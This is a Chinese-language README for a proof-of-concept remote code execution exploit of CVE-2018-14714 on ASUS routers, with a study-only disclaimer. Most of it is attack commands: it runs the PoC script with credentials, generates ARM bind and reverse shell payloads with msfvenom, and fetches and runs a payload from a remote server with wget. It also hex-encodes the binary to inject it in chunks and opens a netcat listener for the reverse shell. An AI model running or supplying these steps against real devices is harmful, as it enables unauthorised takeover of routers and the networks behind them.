华硕WiFi路由器RCE漏洞
此概念验证仅用于学习和研究。请勿用于非法活动,您需自行承担任何法律后果。
在以下演示中,测试的设备型号为ASUS RT-N18U,固件版本为3.0.0.4.378.9216,这是我大学期间购买的路由器,现在是我的测试机 :)
利用条件
你需要安装依赖项:
$ python3 -m pip install requests直接运行脚本获取使用说明。你可以运行以下命令来验证目标是否存在漏洞。
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

你可以使用msfvenom命令生成轻量级的反向Shell二进制可执行文件。你可以根据使用的内核环境修改参数。在我的例子中,它是armv7l,命令如下:
绑定Shell
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

反向Shell
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

如果你的目标设备有wget命令可用,在你开始在4444端口监听后,你可以在伪Shell中使用以下命令获取反向Shell:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
如果你的目标环境没有内置的远程资源访问命令,请继续阅读。
将生成的二进制文件转换为二进制数据。
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

要确认目标上是否存在漏洞,重新运行Python脚本并添加shell参数以进入交互式伪Shell。请注意,如果命令没有产生任何输出,这是正常的,因为没有地方接收stdout。不过,使用sleep命令可以帮助你验证命令是否确实已执行。

此外,需要注意的是,根据测试,命令行最多允许1022个字符。你需要构造长度小于1022个字符的命令。 因此,你需要手动分割Payload并分段执行,以确保我们的命令成功运行。

接下来,让我们获取一个真正的反向Shell。你可以先监听指定端口。
$ nc -lvnp 4444
执行Python PoC脚本以获取一个伪Shell,用于注入Payload。
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

最后,就剩下享受你获取到的反向Shell了 :)
